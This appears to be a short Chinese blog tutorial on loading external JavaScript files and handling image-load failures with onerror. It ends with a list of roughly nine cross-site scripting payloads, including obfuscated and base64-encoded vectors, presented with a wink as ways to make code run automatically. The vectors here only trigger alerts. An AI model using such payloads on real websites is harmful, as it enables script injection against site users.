JavaScript(js)中调用外部js代码的方法汇总加js图片打开失败事件

在网站开发中，有些功能可能需要在一个js文件中加载另外一个js文件，或者直接在页面中在js标签中调用网络中的另外一个js文件，这样的需求我们需要怎么来实现呢？还有当我们的页面中有图片打不开的时候我们又可以对它怎么进行处理呢？记下来静心来告诉应该怎么做。

JavaScript调用外部js的方法:

方法一:在js中调用外部js:

//程序代码 
document.write(" <script language=\"javascript\" src="\/com\/ baidu.js \" > <\/script>"); 

方法二:

//程序代码 
new_element=document.createElement("script"); 
new_element.setAttribute("type","text/javascript"); 
new_element.setAttribute("src","baidu.js"); 
document.body.appendChild(new_element); 

方法三:

//程序代码 
document.scripts[0].src="baidu.js"

以上种写法都可以实现JavaScript调用外部js。

接下来讲一下怎么处理图片打开失败事件，这里我直接用一段代码来讲解吧:

<img src="not_img.jpg" onerror="alert('not image')">

没错就是监听onerror事件，img的图片打开失败的时候就会触发onerror事件。

这里再说一个题外话怎么在html页面中自动执行js代码，至于为什么要自动自行大家可以自己脑补。

代码如下：

//js自动执行方法:
<a href="java&#115;cript:alert('xss')">link</a>
<IFRAME SRC="javascript:alert(29);"></IFRAME>
<iframe/onload=alert(document.domain)></iframe>
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object data="javascript:alert('xss')">
<marquee onstart=alert(30)></marquee>
<isindex type=image src=1 onerror=alert(31)>
<input onfocus=alert(33) autofocus>
<img src="xxx.jpg" width="0" height="0" onerror="alert(33)">

解释:上面每一行都是一个方法，利用图片打开失败事件进行执行的一定要确保加载的图片无法打开否则事件不会被触发。

好了就到这里吧，最近实在太忙了。基本没啥事件写文章。